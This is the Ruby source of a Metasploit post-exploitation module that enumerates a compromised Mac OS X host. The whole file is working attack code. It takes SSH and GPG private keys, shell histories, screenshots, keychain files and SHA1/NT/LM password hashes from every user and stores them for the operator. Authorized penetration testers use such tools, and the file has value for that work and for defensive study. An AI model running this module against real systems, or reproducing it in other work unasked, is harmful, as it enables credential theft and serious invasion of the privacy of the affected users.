573 lines
17 KiB
Ruby
573 lines
17 KiB
Ruby
##
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# $Id$
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##
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##
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# ## This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/common'
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require 'msf/core/post/file'
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class Metasploit3 < Msf::Post
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include Msf::Post::Common
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include Msf::Post::File
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include Msf::Auxiliary::Report
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Mac OS X Information Enumeration',
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'Description' => %q{
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This module does initial gathering of information from OSX Tiger, Leopard
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and Snow Leopard System
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'osx' ],
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'SessionTypes' => [ "shell" ]
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))
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end
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# Run Method for when run command is issued
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def run
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case session.type
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when /meterpreter/
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host = sysinfo["Computer"]
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when /shell/
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host = session.shell_command_token("hostname").chomp
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end
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print_status("Running module against #{host}")
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running_root = check_root
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if running_root
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print_status("This session is running as root!")
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end
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ver_num = get_ver
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log_folder = log_folder_create()
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enum_conf(log_folder)
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enum_accounts(log_folder, ver_num)
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get_crypto_keys(log_folder)
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screenshot(log_folder, ver_num)
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dump_hash(log_folder,ver_num) if running_root
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dump_bash_history(log_folder)
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get_keychains(log_folder)
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end
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# Function for creating the folder for gathered data
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def log_folder_create(log_path = nil)
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#Get hostname
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case session.type
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when /meterpreter/
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host = Rex::FileUtils.clean_path(sysinfo["Computer"])
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when /shell/
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host = Rex::FileUtils.clean_path(session.shell_command_token("hostname").chomp)
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end
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# Create Filename info to be appended to downloaded files
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filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
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# Create a directory for the logs
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if log_path
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logs = ::File.join(log_path, 'logs', "enum_osx", host + filenameinfo )
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else
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logs = ::File.join(Msf::Config.log_directory, "post", "enum_osx", host + filenameinfo )
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end
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# Create the log directory
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::FileUtils.mkdir_p(logs)
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return logs
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end
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# Checks if running as root on the target
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def check_root
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# Get only the account ID
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case session.type
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when /shell/
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id = session.shell_command_token("/usr/bin/id -ru").chomp
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when /meterpreter/
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id = cmd_exec("/usr/bin/id","-ru").chomp
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end
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if id == "0"
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return true
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else
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return false
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end
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end
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# Checks if the target is OSX Server
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def check_server
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# Get the OS Name
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case session.type
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when /meterpreter/
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osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp
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when /shell/
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osx_ver = session.shell_command_token("/usr/bin/sw_vers -productName").chomp
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end
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if osx_ver =~/Server/
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return true
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else
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return false
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end
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end
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# Enumerate the OS Version
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def get_ver
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# Get the OS Version
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case session.type
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when /meterpreter/
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osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp
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when /shell/
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osx_ver_num = session.shell_command_token("/usr/bin/sw_vers -productVersion").chomp
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end
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return osx_ver_num
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end
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def enum_conf(log_folder)
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platform_type = session.platform
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session_type = session.type
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profile_datatypes = {"OS" => "SPSoftwareDataType",
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"Network" => "SPNetworkDataType",
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"Bluetooth" => "SPBluetoothDataType",
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"Ethernet" => "SPEthernetDataType",
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"Printers" => "SPPrintersDataType",
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"USB" => "SPUSBDataType",
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"Airport" => "SPAirPortDataType",
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"Firewall" => "SPFirewallDataType",
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"Known Networks" => "SPNetworkLocationDataType",
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"Applications" => "SPApplicationsDataType",
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"Development Tools" => "SPDeveloperToolsDataType",
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"Frameworks" => "SPFrameworksDataType",
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"Logs" => "SPLogsDataType",
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"Preference Panes" => "SPPrefPaneDataType",
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"StartUp" => "SPStartupItemDataType"}
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shell_commands = {
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"TCP Connections" => ["/usr/sbin/netstat","-np tcp"],
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"UDP Connections" => ["/usr/sbin/netstat","-np udp"],
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"Environment Variables" => ["/usr/bin/printenv",""],
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"Last Boottime" => ["/usr/bin/who","-b"],
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"Current Activity" => ["/usr/bin/who",""],
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"Process List" => ["/bin/ps","-ea"]
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}
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print_status("Saving all data to #{log_folder}")
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# Enumerate first using System Profiler
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profile_datatypes.each do |name,profile_datatypes|
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print_status("\tEnumerating #{name}")
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# Run commands according to the session type
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if session_type =~ /meterpreter/
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returned_data = cmd_exec("system_profiler",profile_datatypes)
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# Save data lo log folder
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file_local_write(log_folder+"//#{name}.txt",returned_data)
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elsif session_type =~ /shell/
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begin
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returned_data = session.shell_command_token("/usr/sbin/system_profiler #{profile_datatypes}",15)
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# Save data lo log folder
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file_local_write(log_folder+"//#{name}.txt",returned_data)
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rescue
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end
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end
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end
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# Enumerate using system commands
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shell_commands.each do |name, command|
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print_status("\tEnumerating #{name}")
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# Run commands according to the session type
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begin
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if session_type =~ /meterpreter/
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command_output = cmd_exec(command[0],command[1])
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# Save data lo log folder
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file_local_write(log_folder+"//#{name}.txt",command_output)
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elsif session_type =~ /shell/
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command_output = session.shell_command_token(command.join(" "),15)
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# Save data lo log folder
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file_local_write(log_folder+"//#{name}.txt",command_output)
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end
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rescue
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print_error("failed to run #{name}")
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end
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end
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end
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def enum_accounts(log_folder,ver_num)
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# Specific commands for Leopard and Snow Leopard
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leopard_commands = {
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"Users" => ["/usr/bin/dscacheutil","-q user"],
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"Groups" => ["/usr/bin/dscacheutil","-q group"]
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}
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# Specific commands for Tiger
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tiger_commands = {
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"Users" => ["/usr/sbin/lookupd","-q user"],
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"Groups" => ["/usr/sbin/lookupd","-q group"]
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}
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if ver_num =~ /10\.(6|5)/
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shell_commands = leopard_commands
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else
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shell_commands = tiger_commands
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end
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shell_commands.each do |name, command|
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print_status("\tEnumerating #{name}")
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# Run commands according to the session type
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if session.type =~ /meterpreter/
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command_output = cmd_exec(command[0],command[1])
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# Save data lo log folder
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file_local_write(log_folder+"//#{name}.txt",command_output)
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elsif session.type =~ /shell/
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command_output = session.shell_command_token(command.join(" "),15)
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# Save data lo log folder
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file_local_write(log_folder+"//#{name}.txt",command_output)
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end
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end
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end
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# Method for getting SSH and GPG Keys
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def get_crypto_keys(log_folder)
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# Run commands according to the session type
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if session.type =~ /shell/
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# Enumerate and retreave files according to privilege level
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if not check_root
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# Enumerate the home folder content
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home_folder_list = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ")
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# Check for SSH folder and extract keys if found
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if home_folder_list.include?("\.ssh")
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print_status(".ssh Folder is present")
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ssh_folder = session.shell_command_token("/bin/ls -ma ~/.ssh").chomp.split(", ")
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ssh_folder.each do |k|
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next if k =~/^\.$|^\.\.$/
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print_status("\tDownloading #{k.strip}")
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ssh_file_content = session.shell_command_token("/bin/cat ~/.ssh/#{k}")
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# Save data lo log folder
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file_local_write(log_folder+"//#{name}",ssh_file_content)
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end
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end
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# Check for GPG and extract keys if found
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if home_folder_list.include?("\.gnupg")
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print_status(".gnupg Folder is present")
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gnugpg_folder = session.shell_command_token("/bin/ls -ma ~/.gnupg").chomp.split(", ")
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gnugpg_folder.each do |k|
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next if k =~/^\.$|^\.\.$/
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print_status("\tDownloading #{k.strip}")
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gpg_file_content = session.shell_command_token("/bin/cat ~/.gnupg/#{k.strip}")
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# Save data lo log folder
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file_local_write(log_folder+"//#{name}",gpg_file_content)
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end
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end
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else
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users = []
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case session.type
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when /meterpreter/
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users_folder = cmd_exec("/bin/ls","/Users")
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when /shell/
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users_folder = session.shell_command_token("/bin/ls /Users")
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end
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users_folder.each_line do |u|
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next if u.chomp =~ /Shared|\.localized/
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users << u.chomp
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end
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users.each do |u|
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user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
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if user_folder.include?("\.ssh")
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print_status(".ssh Folder is present for #{u}")
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ssh_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ")
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ssh_folder.each do |k|
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next if k =~/^\.$|^\.\.$/
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print_status("\tDownloading #{k.strip}")
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ssh_file_content = session.shell_command_token("/bin/cat /Users/#{u}/.ssh/#{k}")
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# Save data lo log folder
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file_local_write(log_folder+"//#{name}",ssh_file_content)
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end
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end
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end
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users.each do |u|
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user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
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if user_folder.include?("\.ssh")
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print_status(".gnupg Folder is present for #{u}")
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ssh_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ")
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ssh_folder.each do |k|
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next if k =~/^\.$|^\.\.$/
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print_status("\tDownloading #{k.strip}")
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ssh_file_content = session.shell_command_token("/bin/cat /Users/#{u}/.gnupg/#{k}")
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# Save data lo log folder
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file_local_write(log_folder+"//#{name}",ssh_file_content)
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end
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end
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end
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end
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end
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end
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# Method for capturing screenshot of targets
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def screenshot(log_folder, ver_num)
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if ver_num =~ /10\.(6|5)/
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print_status("Capturing screenshot")
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picture_name = ::Time.now.strftime("%Y%m%d.%M%S")
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if check_root
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print_status("Capturing screenshot for each loginwindow process since privilage is root")
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if session.type =~ /shell/
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loginwindow_pids = session.shell_command_token("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")
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loginwindow_pids.each do |pid|
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print_status("\tCapturing for PID:#{pid}")
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session.shell_command_token("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg")
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file_local_write(log_folder+"//screenshot_#{pid}.jpg",
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session.shell_command_token("/bin/cat /tmp/#{pid}.jpg"))
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session.shell_command_token("/bin/rm /tmp/#{pid}.jpg")
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end
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end
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else
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# Run commands according to the session type
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if session.type =~ /shell/
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session.shell_command_token("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg")
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file_local_write(log_folder+"//screenshot.jpg",
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session.shell_command_token("/bin/cat /tmp/#{picture_name}.jpg"))
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session.shell_command_token("/bin/rm /tmp/#{picture_name}.jpg")
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end
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end
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print_status("Screenshot Captured")
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end
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end
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def dump_bash_history(log_folder)
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print_status("Extracting history files")
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# Run commands according to the session type
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users = []
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case session.type
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when /meterpreter/
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users_folder = cmd_exec("/bin/ls","/Users").chomp
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current_user = cmd_exec("/usr/bin/id","-nu").chomp
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when /shell/
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users_folder = session.shell_command_token("/bin/ls /Users").chomp
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current_user = session.shell_command_token("/usr/bin/id -nu").chomp
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end
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users_folder.each_line do |u|
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next if u.chomp =~ /Shared|\.localized/
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users << u.chomp
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end
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# If we are root lets get root for when sudo was used and all users
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if current_user == "root"
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# Check the root user folder
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root_folder = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ")
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root_folder.each do |f|
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if f =~ /\.\w*\_history/
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print_status("\tHistory file #{f.strip} found for root")
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print_status("\tDownloading #{f.strip}")
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sh_file = session.shell_command_token("/bin/cat ~/#{f.strip}")
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# Save data lo log folder
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file_local_write(log_folder+"//root_#{f.strip}.txt",sh_file)
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end
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end
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# Getting the history files for all users
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users.each do |u|
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# Lets get a list of all the files on the users folder and place them in an array
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user_folder = session.shell_command_token("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
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user_folder.each do |f|
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if f =~ /\.\w*\_history/
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print_status("\tHistory file #{f.strip} found for #{u}")
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print_status("\tDownloading #{f.strip}")
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sh_file = session.shell_command_token("/bin/cat /Users/#{u}/#{f.strip}")
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# Save data lo log folder
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file_local_write(log_folder+"//#{u}_#{f.strip}.txt",sh_file)
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end
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end
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end
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else
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current_user_folder = session.shell_command_token("/bin/ls -ma ~/").chomp.split(", ")
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current_user_folder.each do |f|
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if f =~ /\.\w*\_history/
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print_status("\tHistory file #{f.strip} found for #{current_user}")
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print_status("\tDownloading #{f.strip}")
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sh_file = session.shell_command_token("/bin/cat ~/#{f.strip}")
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# Save data lo log folder
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file_local_write(log_folder+"//#{current_user}_#{f.strip}.txt",sh_file)
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end
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end
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end
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end
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# Dump SHA1 Hashes used by OSX, must be root to get the Hashes
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def dump_hash(log_folder,ver_num)
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print_status("Dumping Hashes")
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users = []
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host,port = session.tunnel_peer.split(':')
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case session.type
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when /meterpreter/
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users_folder = cmd_exec("/bin/ls","/Users")
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when /shell/
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users_folder = session.shell_command_token("/bin/ls /Users")
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end
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users_folder.each_line do |u|
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next if u.chomp =~ /Shared|\.localized/
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users << u.chomp
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end
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# Path to files with hashes
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nt_file = ::File.join(log_folder,"nt_hash.txt")
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lm_file = ::File.join(log_folder,"lm_hash.txt")
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sha1_file = ::File.join(log_folder,"sha1_hash.txt")
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# Process each user
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users.each do |user|
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if ver_num =~ /10\.(6|5)/
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case session.type
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when /meterpreter/
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guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
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when /shell/
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guid = session.shell_command_token("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
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end
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elsif ver_num =~ /10\.(4|3)/
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case session.type
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when /meterpreter/
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guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
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when /shell/
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guid = session.shell_command_token("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
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end
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end
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# Extract the hashes
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case session.type
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when /meterpreter/
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sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp
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nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp
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lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp
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when /shell/
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sha1_hash = session.shell_command_token("/bin/cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp
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nt_hash = session.shell_command_token("/bin/cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp
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lm_hash = session.shell_command_token("/bin/cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp
|
|
end
|
|
|
|
# Check that we have the hashes and save them
|
|
if sha1_hash !~ /00000000000000000000000000000000/
|
|
print_status("\tSHA1:#{user}:#{sha1_hash}")
|
|
file_local_write(sha1_file,"#{user}:#{sha1_hash}")
|
|
report_hash = {
|
|
:host => host,
|
|
:port => 0,
|
|
:sname => 'sha1',
|
|
:user => user,
|
|
:pass => sha1_hash,
|
|
:active => false
|
|
}
|
|
end
|
|
|
|
if nt_hash !~ /000000000000000/
|
|
print_status("\tNT:#{user}:#{nt_hash}")
|
|
file_local_write(nt_file,"#{user}:#{nt_hash}")
|
|
report_hash = {
|
|
:host => host,
|
|
:port => 445,
|
|
:sname => 'smb',
|
|
:user => user,
|
|
:pass => sha1_hash,
|
|
:active => true
|
|
}
|
|
end
|
|
if lm_hash !~ /0000000000000/
|
|
print_status("\tLM:#{user}:#{lm_hash}")
|
|
file_local_write(lm_file,"#{user}:#{lm_hash}")
|
|
report_hash = {
|
|
:host => host,
|
|
:port => 445,
|
|
:sname => 'smb',
|
|
:user => user,
|
|
:pass => sha1_hash,
|
|
:active => true
|
|
}
|
|
end
|
|
end
|
|
end
|
|
|
|
# Download configured Keychains
|
|
def get_keychains(log_folder)
|
|
users = []
|
|
case session.type
|
|
when /meterpreter/
|
|
users_folder = cmd_exec("/bin/ls","/Users").chomp
|
|
when /shell/
|
|
users_folder = session.shell_command_token("/bin/ls /Users").chomp
|
|
end
|
|
users_folder.each_line do |u|
|
|
next if u.chomp =~ /Shared|\.localized/
|
|
users << u.chomp
|
|
end
|
|
if check_root
|
|
users.each do |u|
|
|
print_status("Enumerating and Downloading keychains for #{u}")
|
|
keychain_files = session.shell_command_token("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")
|
|
keychain_files.each do |k|
|
|
|
|
keychain_file = session.shell_command_token("/bin/cat #{k.strip}")
|
|
|
|
# Save data lo log folder
|
|
file_local_write(log_folder+"//#{u}#{k.strip.gsub(/\W/,"_")}",keychain_file)
|
|
end
|
|
end
|
|
else
|
|
current_user = session.shell_command_token("/usr/bin/id -nu").chomp
|
|
print_status("Enumerating and Downloading keychains for #{current_user}")
|
|
keychain_files = session.shell_command_token("usr/bin/security list-keychains").split("\n")
|
|
keychain_files.each do |k|
|
|
|
|
keychain_file = session.shell_command_token("/bin/cat #{k.strip}")
|
|
|
|
# Save data lo log folder
|
|
file_local_write(log_folder+"//#{current_user}#{k.strip.gsub(/\W/,"_")}",keychain_file)
|
|
end
|
|
end
|
|
end
|
|
|
|
end |